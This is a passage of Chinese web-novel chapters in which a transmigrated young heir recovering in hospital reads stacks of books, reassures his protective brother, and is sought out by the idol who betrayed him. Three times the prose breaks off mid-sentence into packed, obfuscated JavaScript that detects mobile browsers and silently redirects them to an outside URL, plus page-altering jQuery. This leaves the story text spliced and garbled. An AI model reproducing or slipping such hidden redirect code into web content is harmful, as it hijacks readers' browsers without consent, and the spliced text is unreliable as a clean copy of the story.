汤助理自认是见过世面的人，过去接人待物向来稳重妥当，而且足够细心，耐心十足。 ——要不然关总也不会安排他来照顾林照夜了。 他知道林照夜这位声名在外的“纨绔”不像传闻中那般嚣张跋扈，但也并不认为这位知名“草包”真的有多少涵养或心机。 也许正是这种潜意识里的轻视让汤助理放松了警惕，等他反应过来的时候，已经完全被林照夜牵着鼻子走了。 好在他也只聊了一些生活糗事，并没有涉及什么工作机密。 在差点把底裤都扒干净之后，汤助理就不敢跟他“闲聊”了。 但林照夜空闲下来后又是另一副安静过头的模样。 一动不动地盯着天花板或者窗外发呆。 神色怔忡又恍惚，像是沉浸在另一个世界里。 汤助理有时候推开病房门，看到他独自站在窗边，心底都会咯噔一下，生怕他会突然想不开。 只是他遭遇的那些事也只能由他自己想开，外人多嘴反而容易适得其反。 汤助理思来想去，还是觉得要想办法转移他的注意力。 扒完自己的黑历史之后，汤助理看到手机上跳出来的小说推送，忽然灵光一闪：“我给你念小说吧。” 林照夜无可无不可地点头。 汤助理清了清嗓子，开始念随手点开的一篇小说：“秦煜感觉身体像是着了火一般，踉踉跄跄地撞开一扇房门——” 汤助理：“……” 林照夜：“然后遇到了女主？” 汤助理尴尬地退出，轻咳了一声：“少儿不宜，换一篇换一篇——这一篇是重生复仇文，我来看看……‘第一章雨夜重生，夏予死了，死在了她最爱的男人亲手熬制的一碗毒|药里，弥留之际，她的亲妹妹走到床边，面上带着畅快又得意的笑容’——” 林照夜幽幽地接腔：“姐姐你放心的去吧，以后我会代你好好照顾姐夫的。” 汤助理：“……你怎么知道后面的剧情的？你看过？” “没看过。”林照夜面不改色地说道，“不过看过其他的，这类小说基本上都这么演。后面估计就是姐夫和小姨子才是真爱，在女主死前告知真相，然后把她给气吐血了吧。” “……”汤助理抓着手机的手微微颤抖——他猜对了。 后面的剧情就是姐夫和小姨子在女主面前干一些不可描述的事情，生生气死了女主，但他实在是念不下去了。 “你阅读面还挺广。”汤助理干巴巴地恭维了一句，又说道，“不过你现在要养病，还是先看……呃，听点正能量的故事吧。” 林照夜没意见。 但汤助理的羞耻心有点强。 专业类的电子书他担心林照夜会觉得无聊，狗血小说念着念着又觉得毁三观，纯爱类故事念得干巴巴的就显得尴尬油腻…… 听故事的人还没发表什么多余的意见，汤助理都快□□冒烟了。 他现在有点后悔提这个建议了。 ——是很后悔。 林照夜很善解人意地说：“其实我可以自己看。” 汤助理想也没想就否决：“不行，医生说你现在不能接触手机电脑。” 林照夜想了想，问：“书呢？” “什么书？”汤助理愣了一下，很快又反应过来，“你是说纸质书？” 林照夜点点头，说：“报纸杂志也可以。” 其实他更想看最新的报纸。 虽然有原主的记忆在，但毕竟也隔了一层，他自从醒了就待在医院，日常能接触的人除了医生护士，也就关明熙和汤助理算是正常的人际关系。 他现在对外面的世界其实还一片陌生，也没有什么实感。 在医院躺了这么两天，他还时常会恍惚一下，以为自己还在原来的世界，或者再睁开眼就能回去。 沉溺在这样的情绪里并不是什么好事。 林照夜急需增加对这个世界的了解和真实感触，见不了更多真实的人，隶属于这个世界的本土文字也是一个很好的途径。 “我记得医院附近就有几家书店。”汤助理若有所思，却没有立刻同意，“我先去问问沈医生能不能让你看书。” 沈医生又来询问了一下林照夜最近的状况。 晕眩反胃的症状已经减轻了不少，只有猛蹲猛起的时候才会比较严重，视物也没有什么模糊重影的问题。 沈医生给他做了点小测试，确认没什么问题之后终于点了头：“纸质书可以看，不过也要注意时间，不能用眼太久了。” 得了医生的允许，汤助理立刻就下楼直奔书店。 离医院最近的是一家二手书店，最近正在搞活动，门口两个摊位的书按斤卖，便宜量大，但书目繁杂，看的人眼花缭乱。 汤助理不缺这一点买书钱，况且照顾林照夜期间的花销全部由关总自己报销。 但想要找点不催眠的杂书，这一堆花里胡哨的漫画小说说不定更适合打发时间。 汤助理原本想随便挑几本流行小说故事会之类的书就回去，但站书堆前面才发现，他对当下的流行小说一无所知，也忘了问林照夜想看什么类型的书。 索性只看封皮，越花哨越好，直接装了一箱抱回去。 路上路过报刊亭，又跟老板要了几本比较热门的小说漫画杂志，另加一份当天的本地日报。 这么多东西，应该足够林照夜消磨掉住院的时间了。 汤助理原本是这么想的。 第二天一早来医院“上班”的时候，汤助理还松了一口气，想着今天总算不用再继续念那些羞耻的电子小说了。 结果一进病房门，就听林照夜说想请他帮个忙。 汤助理没多想，只说：“有什么事你直说就是，关总就是让我来照顾你的，不用跟我客气。” 林照夜就指了指靠墙放的那一箱书，说：“汤哥你能帮我再淘点书吗？” “当然可以。”这是小事一桩，汤助理一口应下，然后才开口问，“怎么，昨天这些书你不喜欢？” 林照夜摇了摇头：“看完了。” 汤助理看他摇头还拿不准他的态度——到底是喜欢还是不喜欢？ 慢了半拍才反应过来他话里的意思。 “看完了？”汤助理呆愣了一下，指了指那个纸箱，“那么多书，都看完了？” 那纸箱不算大，他选书的时候也没数，都是随便抓到一本就往纸箱里扔，然后上秤算价格。 但就算不知道详细的数量，只是粗略一看，这一箱书起码也有二三十本。 其中还有好几本厚度惊人。 除非一目十行，每页扫一眼就直接翻过去。 正常人就算熬一个通宵，也未必能看完其中的三分之一。 但林照夜偏偏就点头说：“对啊。” 汤助理瞠目结舌地打量林照夜的脸色：“你……你怎么看这么快？” 他以为林照夜是通宵不睡觉的看书。 但林照夜气色看着还不错，刚进医院的时候眼底下还有两个浓重醒目的黑眼圈，躺在病床上养了两天，现在倒是一点也看不出来了。 而且就算通宵也看不完那么多吧？ 汤助理有点怀疑人生。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966404|161260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林照夜反倒奇怪地看他一眼：“我又不需要对那些书里的东西倒背如流，看快一点也没什么关系吧？” 尤其是其中占据大半部分的小说和漫画，很多连着好几页都是冗余的文辞修饰，并没有多少信息量。 扫上一眼都算是他对于作者辛苦劳作的尊重了。 反倒是报纸和夹杂在其中的两本历史书、一本医学期刊，他看得最为仔细。 确认林照夜真的没有熬夜看书之后，汤助理脑子就转过弯来。 也是，又不是什么晦涩的古书典籍。 本来就是用来打发时间的闲书，有的故事看一眼开头就知道结尾，没什么兴趣自然就随手放到一边了。 这么说看完了也正常。 汤助理很快就说服了自己，便决定尽快满足林照夜的要求。 趁着营养师盯着林照夜吃早饭的时候，汤助理就下楼去买书了。 回来的时候正巧在楼下撞上了关明熙。 “关总，早。”汤助理快步跟上去打招呼。 “早。”关明熙停下来等了他一会儿。 “今天不是要出差吗？”汤助理小声问了一句。 “走之前过来看一眼。”关明熙说道，“他这两天怎么样？” “医生说他恢复的不错，没有意外的话下周就能出院。”汤助理简单汇报了一下林照夜的近况。 总而言之，听话、安分，没作妖。 医患关系非常良好。 “那就好，这段时间辛苦你了。”关明熙说道。 “也不算辛苦。”汤助理笑了笑，他和关明熙认识也有很多年了，有些话就直说了，“原来我还担心林少爷是个难搞的，结果比我想象的省心多了。” 除了不爱吃胡萝卜跟营养师提了一次意见，以及让汤助理帮忙买书之外，林照夜就没有主动提出过其他什么要求。 平时看他和护工护士们交流也很随和，没有半点富家子弟的颐指气使和高高在上。 虽说林少爷现在是经历过打击落魄了，但他是一个成年人，性格早已趋近定型，不可能在短短一个月的时间就发生天翻地覆的变化。 即便性格大变，也应该是向负面的方向转变。 要么变得胆怯自卑，要么变得狂躁易怒。 但这二者都未曾出现在林照夜身上。 相反，他现在看起来心平气和，和善可亲。 经历那么大的打击还能表现得这么平和，只能说明他本性如此。 在他住院的这短短几天时间里，医护之中原本人气最高的年轻英俊能力强的沈医生都暂时退居二线，林照夜一跃成为了这一层最受欢迎的男人。 上至扫地阿姨，下至新来的实习小护士，没有一个对他印象不好的。 就连沈医生都对他日益温柔。 原因无他，这个病人实在听话省心，对于医生来说可太讨喜了。 沈医生也因此觉得有点费解，林照夜在医院里表现得这么配合，当初是怎么把自己的身体搞成那样的。 汤助理倒是知道内情，但也不好随便跟外人说。 好在沈医生也没深究，对他来说，病人只要配合治疗，身体有所好转就足够了。 汤助理也只敢私下里跟关总提两句：“我看林少爷经历了这糟事也未尝不是因祸得福，说不准是真的想开了。” 关明熙对此不置可否：“但愿如此。” 他不像汤助理那么乐观，但也没在这时候泼冷水。 他给林照夜当哥，是能护着他免于那些人要命的算计。 但有些事光护着是没有用的，得他自己想开，走出来、立起来才行。 远的不提，万一林照夜再脑子进水，一见了那个害他至此的“白月光”又恋爱脑上头，走不动道怎么办？ 毕竟他可是真的有前科的。 想到这里，关明熙顿觉脑袋隐隐作痛。 关明熙沉思良久，忽然说道：“听说听说沈医生最擅长治疗各种疑难杂症。” 汤助理有些不明所以，就顺着点头道：“沈医生是很厉害，院长当初也是花了很大力气才挖过来的。” “你说——”关明熙难得面露迟疑，“恋爱脑能治吗？” 汤助理：“……” 应该……不能叭。 5. 05（修） “关总。”沈医生说，“我是个专业的医生。” 关明熙：“嗯。” “我不是天上的王母娘娘。”沈医生顿了顿，又道，“就算是王母娘娘，也不治恋爱脑。” 关明熙：“但他们都说你是医学天才。” “天才也不是许愿池里的王八。”沈医生深吸了一口气，斩钉截铁道，“总之，治不了！” 关明熙面露失望：“那可真是太可惜了。” 虽然他知道恋爱脑是不治绝症，但人总难免抱有一点侥幸心理。 兴许沈医生这种天才人物会有什么新鲜的奇思妙想呢。 可惜再天才也治不了恋爱脑。 沈医生无语了片刻，最终还是在高额工资的动力下重新捡起了医生的职业操守。 “说实话，我觉得关总有点多虑了。”沈医生推了推眼镜，认真地说道，“以我这几天和林先生的交流情况来看，他的思维逻辑非常清晰，反应速度比一般人要快得多，人际关系也没有任何问题。” 沈医生停顿了片刻，回忆了一下这段时间里，他们这一层的医生护士护工乃至清洁工对那位林先生热切熟稔的态度，觉得自己说得还有些保守了。 这种天生的交际花怎么可能会被恋爱脑拖累？ 沈医生委婉道：“我觉得，你其实不用担心他会吃亏。” 从来都只有旁人在他们身上栽跟头的份。 可惜关总并没有领会到他的潜台词，只遗憾道：“实在治不了就算了。” 大不了他多看着点。 万一林照夜以后再脑子进水恋爱脑发作，他就打断他的狗腿。 或者实在不行，干脆把恋爱脑的对象做掉算了。 关明熙脑子里阴暗的想法一闪而过。 ——对了，林照夜舔的那个小明星叫什么来着的？好像是姓聂吧…… 病房里的林照夜猛地打了个喷嚏。 与此同时，楼下正在和前台拉拉扯扯的年轻男人忽然打了个寒颤。 年轻男人——也就是聂潮汐，隔着墨镜紧张地左右扫视了一圈，始终没有找到那阵让他恶寒的视线来源。 大厅所有角落包括电梯门口，都站着身穿医院制服的保镖，正虎视眈眈地盯着前台这里看，预备着一有动静就冲上来将闹事的人按住。 聂潮汐被看得头皮隐隐发麻，连忙转回头。 在心里默念着他是来探望病人的，又想起那些人威逼利诱的嘴脸，登时又打了个哆嗦，瞬间鼓起了勇气。 他转回头，声音越发黏腻，对着前台软磨硬泡，想要问出林照夜的病房号。 “我就见他一面，说几句话就走。” “我真的是他的朋友，我们认识好多年了。” “要不然你去联系一下他，让他自己出来见我行不行？” “求你了姐姐。” 前台护士不为所动：“抱歉，我们前台没有权限调取病人的住院信息，如果您的朋友真的在这里住院，而且允许您探望，请联系您的朋友或者病人的监护人发通行码给您，我们会安排专人送您到病房门口。” 言下之意，没通行码连电梯门都进不去。 他们这家私立医院以私密性和安全性著称，可不是什么阿猫阿狗都能随便放进去的。 两名前台一个面容冷峻，一个笑容满面，态度却都是如出一辙的油盐不进。 聂潮汐恨得暗暗咬牙，墨镜下的面容都有些扭曲。 他其实一点也不想来。 自从他下定决心背叛林照夜、另攀高枝起，他就没有想过事成之后会再和林照夜有什么交集。 一则林照夜跌落泥潭，便再没有什么利用价值。 二则……他面对林照夜确实有点心虚理亏。 平心而论，林照夜对他这个“白月光”确实好得不能再好了。 百依百顺，有求必应，随叫随到。 聂潮汐一个出身底层的十八线开外的小明星，初见林照夜的时候还在酒吧里兼职端盘子。 要不是林照夜出现，他还是路边一滩无人问津的烂泥。 那时候林照夜是高不可攀的豪门少爷，聂潮汐最初面对他时总有无尽的惶恐与自卑，即便他笑意温柔，他也诚惶诚恐小心翼翼。 后来他红了，胆子大起来，偶尔对着林少爷呼来喝去，有次酒喝多了心气不顺，转头抬手一巴掌误扇到他脸上，林少爷竟也毫不生气。 那之后聂潮汐就知道了，恶名在外的林少爷在他面前，就是面团般可以随意揉捏的人物。 聂潮汐跟着林少爷出去见圈子里的朋友，曾不止一次听他那些朋友说他被一个小明星下了降头。 要换做是他们抱养小情人，不听话早就一巴掌扇过去了，哪还会低声下气地反过去赔罪，哄人开心。 聂潮汐曾为此洋洋得意了一段时间——林少爷就是对他这么好，又怎么样？ 可人心总是不满足。 有了千依百顺的金主，他渐渐又觉得这个大腿不够粗。 谁不知道林少爷就是个废物草包，进了自家公司几年也没闯出个名堂来，整日只知道吃喝玩乐。 外面的人提到他都纷纷摇头，感叹说林家的基业怕是就要断在这根独苗手里了。 林老爷子年纪大了，又能再支撑几年？ 林少爷是没有羞耻心这种东西，对这些风言风语左耳朵进右耳朵出，压根没放在心上。 但聂潮汐却听在了心底，也越发觉得林少爷没出息。 于是后来林少爷的死对头勾勾小手指，聂潮汐的魂就飘了过去。 他比林少爷更早知道林家那两个私生子的存在。 但他什么都没说，只更坚定地抱紧了死对头的大腿，并里应外合给出了自己的投诚状。 然后林少爷就这么无知无觉地在众目睽睽之下被扫地出门。 聂潮汐并不后悔自己的选择，人不为己天诛地灭，林少爷一个富家少爷哪知道他们穷人的苦楚，他实在是苦怕了，知道林少爷靠不住，自然要想办法另寻出路。 但纵然这样反复给自己洗脑，他心底深处仍还存留了几分羞愧。 这点羞愧并不足以让他良心发现，却让他在其他人要求他进一步落井下石的时候保持了缄默。 可现实又狠狠甩了他一巴掌。 高枝哪里是那么好攀的，又哪里是他有资格挑来拣去的。 把林照夜彻底踩下去之后，聂潮汐这个存在就是为了羞辱他的工具也就没了作用。 聂潮汐不想再落回泥地里，也回不了头，只能死死抓住还没有把他彻底抛弃的金大腿，尽力去创造自己的价值。 所以他只能来找林照夜。 也一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966405|161260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定要见到林照夜。 不是为了认错或者重归于好，而是来看他的近况。 看他是跟谁摇尾乞怜，才换来了一点垂怜和保护。 ——他就是来看他的笑话的。 …… “聂先生？”汤助理接到楼下电话的时候都愣了一下，下意识扭头去看旁边的关明熙。 就在刚刚，他们才聊到林照夜之前喜欢到疯魔的小明星。 真是说什么来什么。 前台只知道来人姓聂，这会儿还在楼下胡搅蛮缠着要见林照夜。 前台肯定不会随便放人进来，甚至不会正面承认病人就在自家医院，但这位聂先生实在难缠，院方又担心真是病人的什么朋友，只能偷偷打电话给病患的“监护人”问问情况。 汤助理神色微妙地追问了一句：“长什么样子？” 躲在暗处的前台探出头瞄了一眼，小声描述：“戴着墨镜和帽子，看不太清楚脸，不过皮肤挺白的，人也很瘦，看身高……大概一米七五上下？对了对了，他脖子右边靠近后颈还有一片蓝色的纹身……” 汤助理：“……”看来就是那位疑似给林少爷下了降头的天仙小明星了。 汤助理抬头看了眼旁边的关明熙。 他开了外放，前台说的话关明熙也听得一清二楚。 关明熙微微挑了下眉，淡淡道：“我们还是先去问一下当事人的意见比较好。” 他可不想因为这点破事跟林照夜闹起来。 正好也趁机看看他的态度。 林照夜的态度就是…… 林照夜没有态度。 “聂潮汐？”林照夜乍一听到这个名字，第一反应就是茫然，“聂潮汐是谁？” 关明熙：“……” 汤助理：“……” 两人看向他的眼神一个比一个惊讶。 林照夜眼底的茫然不似作伪。 关明熙微微蹙眉：“你不记得他了？” 明明沈医生说他并没有失忆。 不过为了避免刺激到他，这段时间确实没人在林照夜面前提过这个名字。 难道是受刺激太深，独独忘了这个人的存在？ 没等关明熙想明白，林照夜忽然一愣，摸着下巴露出恍然中又透着几分不确定的神色。 “是那个……汐汐？”林照夜喃喃自语，若有所思。 “汐汐？”关明熙轻哼一声，多少带点阴阳怪气。 林照夜却没注意他嫌弃的样子，而是生出几分怪异的微妙感。 他拥有原主的所有记忆，也知道那个白月光“汐汐”的存在。 站在旁观者的角度去看，他一眼就看出了那个白月光的浅薄势利，知晓原主一腔真心全是错付。 他并不喜欢那个白月光，也无法理解原主对他的“痴迷”。 隔着记忆去看往事，他也感觉不到任何强烈的情绪。 就好像是隔着电影屏幕看其他人的故事，又像是看着被输入了固定指令的机器人去做程序设定好的事情。 对林照夜来说并没有什么实感。 这个不讨喜的家伙在他眼里也不是什么重要人物，这段时间躺在医院，他还真没怎么想起这号人物。 所以直到此刻他才觉察出异样—— 他竟然死活想不起来这个白月光的相貌。 6. 06（修） 对方一言一行还牢牢地印在脑海里，林照夜清楚对方在每一段记忆里说出的每一段话以及每一个细微的表情，可偏偏想不起对方完整的模样。 就好像单独在脸上打了一层淡淡的马赛克。 更微妙的是，林照夜——现在这个林照夜——有个很特别的恶趣味。 对于亲近的男性朋友，他喜欢叠着对方名字里的最后一个字叫人。 最初是小时候有意逗弄少年老成的朋友，因为效果显著，后来就渐渐变成了一种划分关系远近的习惯。 林照夜接收原主记忆的时候，没怎么注意到白月光的大名，只记得原主一直叫他“汐汐”。 不过原主也只这么叫过他一个人。 是巧合吗？ 不过不论是不是巧合，反正现在这个林照夜觉得有点膈应。 这么想着，他面上就带出几分复杂的神色来。 但这神态落在关明熙眼中，就是仅一个名字就叫他心神动摇。 区区一个小明星，真的有必要这般念念不忘、魂不守舍吗？ “林照夜。”关明熙眯了眯眼睛，声音掺杂了几分冷意，“你还记得自己是怎么落到现在这个下场的吗？” “当然记得。”林照夜答得不假思索，但也明显心不在焉。 “哦——”关明熙微微拖长语调，语气有点危险，“他现在就在下面，说是过来探望你的，你想见见他吗？” “我……”林照夜其实有点好奇马赛克下面的真容，但一抬头冷不丁地撞上关明熙居高临下的视线，顿时一个激灵闭上了嘴。 他立刻反应过来，便宜哥是对他的舔狗前科不满呢。 但林照夜完全理解便宜哥的良苦用心。 换做他摊上原主这么个恋爱脑弟弟，早打断狗腿关在家里找医生给他醒醒脑子了。 “我不想。”林照夜嘴巴急转弯，只差举手对天发誓，“我保证现在对他真的一点点想法都没有了！” 关明熙站在床边，占据着绝对的高度差优势，将林照夜脸上的表情变化尽收眼底。 “真的？” “比珍珠还真。”林照夜尽力睁大自己真诚的双眼，“就那天泡在水里的时候，我以为我已经死过一回了，早就什么都看开了，回头想想实在是不值当……” 说到后面，林照夜语气里渐渐带上几分真切的伤感和怅然。 他不能说的是，原主是真的为此丢掉了性命。 自从醒来之后，他就唏嘘过眼前真是天崩开局，但心底更多的还是遗憾和感激。 总归是他多捡了一条命。 而且原主也不是真的走到了绝境。 没缺胳膊少腿，没背上什么巨额外债。 还运气爆棚爆出来一个野生大哥。 林照夜占了他这条命，便要承他的情，也要接受原主身上那一连串的恩怨债。 虽说原主似乎对白月光情根深种，虽死不悔，但林照夜可不是什么爱屋及乌的性格。 所谓的白月光在他眼里，就是仇人。 有恩就要报恩，有仇也要报仇。 也就是他现在才刚穿过来没多久，连这个世界的情况都还没完全摸清，手里没什么资本和底气，那些报恩报仇的事只能暂且往后挪挪，先把身体养好再谈其他。 基于此，他就是死也不可能再对聂潮汐生出什么好感来了。 关明熙垂眸打量了他片刻，有些意味深长地说道：“我可以帮你把他们赶出去。” 林照夜并不在意他是指的是哪些“他们”，又要把人赶出哪里，只点头表示自己不在意。 “或者——”关明熙微微停顿了片刻，俯身与他耳语，“让他们彻底消失。” 林照夜身体一僵，眼瞳微微颤动了一下。 他倒不是怕，而是觉得……关明熙这语气，说不准是真动了念头。 而且以关明熙的身份背景，也不是做不到。 关明熙往后退开，林照夜下意识抓住了他的胳膊：“哥，还是别了吧。” 关明熙低头盯着他的手，微微蹙了下眉，并没有挣扎：“怎么，你舍不得？” “那倒不是。”林照夜斟酌了一下，还是决定直白一点，“就是吧……咱们还是好好做个守法良民比较让人安心。” “难道我看起来像是什么穷凶极恶的犯罪分子吗？”关明熙反问。 “……”林照夜抬头打量了他几眼，松开了抓住他的手，一边诚恳地摇头，“不像。” 而且恰恰相反，关明熙左脸写着“温文尔雅”，右脸写着“克己复礼”。 长相俊逸中透着点不食人间烟火的仙气。 长得帅，气质好，乍一眼看过去简直就是在脑门上贴了几个金光闪闪的大字——「绝世好人」。 不过林照夜透过现象看本质，接触过几次就清楚，这人跟自己差不多，是个和外貌反差感十足的“两面派”。 林照夜从小就跟“乖”沾不上边，关明熙也不是善良温柔的老好人。 但他们都挺会装。 “开个玩笑而已，这么紧张做什么？”关明熙慢条斯理地整理自己的袖子，语气里透着点漫不经心。 “哥。”林照夜想了想，还是摆正了语气，坦诚道，“冤有头债有主，他们的事我想自己解决。” “你想怎么解决？”关明熙问得也很实际。 林照夜现在有没有钱不好说，但在A市肯定是没有任何威信和势力可言了，其他人看到他不落井下石都算好的，别说帮他报复仇人了。 聂潮汐那边还算是小事，但林照夜曾经的死对头、现如今一跃成为了林家继承人的私生子，全都是难啃的硬骨头。 林照夜还是林家唯一的小少爷的时候都玩不过他们，更遑论现在了。 不借关明熙的势，他哪来的底气说要报复他们？ “现在也许能做的有限，但我以后未必不能再踩在他们头上。”林照夜语气平常，却透着股自内而外的坚定和从容。 关明熙瞥了他一眼，眼底闪过一抹异色。 这样的气势，可不像是传闻中那个草包能拥有的。 “而且我也从来没想过要一下子按死他们所有人。”林照夜顿了顿，道，“尤其是聂潮汐，只吃上一点教训就能抽身离开，未免也太便宜他了。” “断了他的富贵念想，叫他认命知足，对他来说未尝不是好事。我只想叫他受到报应，而不是教他做人的道理。” “他最好永远野心勃勃，永远在这个圈子里挣扎沉浮，也永远只能看着曾经看不起的人一个个踩在他的头上。” “那岂不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966406|161260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还要让他披着光鲜亮丽的人皮，在外面继续潇洒上那么多年？”关明熙拉开凳子在病床边坐下。 他坐正了也还是比林照夜高上一小节，但勉强能算平视了。 林照夜视线随之下移几分，闻言诧异地抬眸，然后又笑了一下。 “他能有今天的地位，几乎全是我一手捧起来的。从他出道至今，他的每一桩黑料都是经了我的手帮他洗白的，那么多的把柄在我手上，我不想让他好过，他怎么可能继续过那么舒服的好日子。” “毕竟，把人拉下来比托举一个废物简单多了。” …… 汤助理到下楼的时候，聂潮汐还在纠缠着前台。 有那么多保安在旁边虎视眈眈，他是彻底歇了强闯进去的心思，只是墨镜后面的眼睛还在滴溜溜的转，伺机搜寻着周边的漏洞。 可惜这小小的一栋住院楼，愣是被员工看守得密不透风。 前台的脸都快笑僵了，眼底划过一丝不耐。 两个前台交换了一个眼神，其中一个就低下头在手机上打字。 聂潮汐先是惊喜，以为她们态度松动，但细看她们的表情，心底就是生出一些不妙的预感。 他不能被赶出去。 就算、就算见不到林照夜本人，至少也要打听清楚是谁把他送到了这家医院，又是为什么这么关照他。 这也算有了一点用处。 想到这里，聂潮汐一咬牙，伸手摘下墨镜和帽子，一边飞快地调整好表情，露出对着镜子练习过无数次的完美微笑，冲着那位面容和善的护士眨眼。 护士微微怔愣了一下，盯着他的脸打量了好一会儿，然后眼底就划过几分惊喜激动之色。 显然是认出了这张时常出现在广告牌上的脸。 聂潮汐心头一定，笑容加深了几分：“姐姐你是不是认识我呀？” 护士有点不确定地问：“你是……聂潮汐？” 聂潮汐点头，小声说：“是我，要我给你签个名吗？” 护士迟疑了一下，余光扫过周边，动作飞快的从抽屉里掏出了一个小本子，连着笔一同递到聂潮汐面前。 聂潮汐接过纸笔就刷刷刷地开始签名，心情终于变得愉悦了几分。 “我真的不是坏人，这张脸应该可以当做证明吧。”聂潮汐将签名递过去，还故意碰了一下护士的手指，“我跟林哥真的是认识了很多年的好朋友了，你就稍微通融一下，帮我给他打个电话吧。” 护士飞快地抽回了手，喜滋滋地看了两眼签名，闻言抬头却是一秒变脸，直截了当道：“不行！” 聂潮汐脸上笑容一僵，看向刚刚递出去的签名。 这人刚刚那么兴奋地要他的签名，难道不是他的粉丝吗？ 护士轻咳了一声，缓和了一下语气，温声解释：“对不起聂先生，这是我们医院的硬性规定，如果被抓到违规的话，不仅会被立刻开除，还会被追究责任。” 她用眼神示意了一下周围的同事以及遍布大厅的监控。 “聂先生您也是从底层草根一路逆袭过来的励志派明星，想必您一定能理解我们打工人的苦衷，不会为难我们逼迫我们违反规定害我们丢掉工作吧？” 刚到楼下的汤助理：“噗嗤——” 没忍住笑出了声。 7. 07（修） 聂潮汐脸色青一阵白一阵。 余光瞥见目光警惕的保安，憋了一肚子的火到底没敢冲着前台撒出来，只猛地扭头瞪向刚下楼也没穿医院制服的汤助理。 “有什么好笑的？！”聂潮汐语气有点冲。 “咳咳——”汤助理咳嗽两声，倒不是怕了聂潮汐，而是真的有点笑岔气了。 难缠的合作商，甚至是合作商家里的熊孩子，他见的都多了去了。 区区一个聂潮汐，还吓不到他。 不过就是色厉内荏的毛毛雨。 “汤先生。”躲在休息区的另一位前台招待听到动静，连忙倒了杯温水过来给他顺气，“你不要紧吧？” 汤助理接过杯子跟她道谢，喝了几口水缓了缓，终于止住笑，也顺了气。 “你们为什么区别对待？”聂潮汐看着她殷勤的态度，脸色越发难看，“你们领导在哪里，让他出来，我要投诉你们！” 前台和保安齐齐无语。 保安仗着自己位置隐蔽，直接翻了个白眼，前台还得保持微笑，耐心解释：“汤先生是我们这里的高级VIP会员，聂先生如果想要享受同等的服务，也可以在我们这里充年卡。” “就算没病也可以过来挑个喜欢的病房住两天。”冷脸的前台跟着补充，“对了，就算是终生至尊VIP，我们也不可能透露其他客户的资料给无关人士的。” 聂潮汐：“……” 汤助理也听得嘴角微抽。 这小姑娘嘴巴还挺毒，看样子还真是被纠缠的不耐烦了。 汤助理端着杯子侧过头去打量聂潮汐。 这是他第一次在线下见到这位当红流量小生的真容。 平心而论，聂潮汐长得很不错，完全叫人一见钟情的资本。 在整容成风的娱乐圈里，聂潮汐也是少见的“天生丽质”从没在脸上动过刀子的流量明星。 汤助理早先就在私下里帮关总调查过他的底细。 听说不是聂潮汐真的对自己的容貌多么自负，而是林照夜不许他动脸。 林照夜过去对聂潮汐千依百顺，却唯独只在这件事上表现得强势。 不过所有人都说他这是为了聂潮汐着想。 本来就已经长得不错，再去整容完全就是画蛇添足，很有可能还会适得其反。 聂潮汐最大的问题不在于那张脸不够精致，而是自身气质太浮躁。 他出身草根，却也算不上真正的底层贫困户，至少是从没挨过饿受过冻的。 比起林照夜这个曾经的金主，聂潮汐要更有野心。 然而他所有的上进心都只点在了功利心上，从小就习惯了依靠外貌优势走捷径，小时候不喜欢念书，初中没毕业就开始混社会，等傍上林少爷，也从不提升自己，只坐在原地张嘴等着别人喂资源。 出道几年一度坐过短暂的“顶流”宝座，唱歌跳舞演戏却还是样样稀松。 他的黑粉时常嘲讽他，那么多的资源堆下去，就算是只真猪都能红得发紫了。 聂潮汐不以为意，一心盯着上面的高枝。 他大概以为只要抱稳了金大腿，就能一辈子这样光鲜亮丽地生活下去。 从另一个角度来说，也是过去的林照夜将他保护的太好了，以至于在娱乐圈混了这么些年，他竟还这样天真浅薄。 完全就是一副没有遭受过社会毒打的清澈但愚蠢的模样，叫人一眼就能探到底。 虚浮的心气就这样直白的暴露在面上，装出来的和善维持不了多久就破了功，叫那张天生丽质的漂亮脸蛋瞬间变得扭曲阴沉，俗不可耐。 聂潮汐阴恻恻地盯着出言讥讽的前台看，像是要把她的脸记在脑海里。 要不是旁边就有保安虎视眈眈地盯着，他自己又把助理保镖留在了外面，恐怕此刻他就已经忍不住当场发难了。 前台护士微微皱了皱眉，有种被毒蛇盯上般的不适感。 她下意识低头，避开了聂潮汐的视线。 “啪——” 汤助理几步上前，将手中的杯子放在前台桌上，隔开了聂潮汐盯着前台的视线。 “聂先生。”汤助理开口，“听说你找林先生？” 聂潮汐这才扭头看向他，打量的视线里透着几分疑惑和轻慢：“你是谁？我好像没见过你。” 他见过林照夜的所有朋友，也通过林照夜认识了不少A市有头有脸的大佬。 但眼前的人并不在其中。 汤助理相貌不是特别出挑，但胜在气质温和，看起来就像是个低调温柔好说话的老好人。 拥有这样气质的人通常都不是身居高位的掌权者。 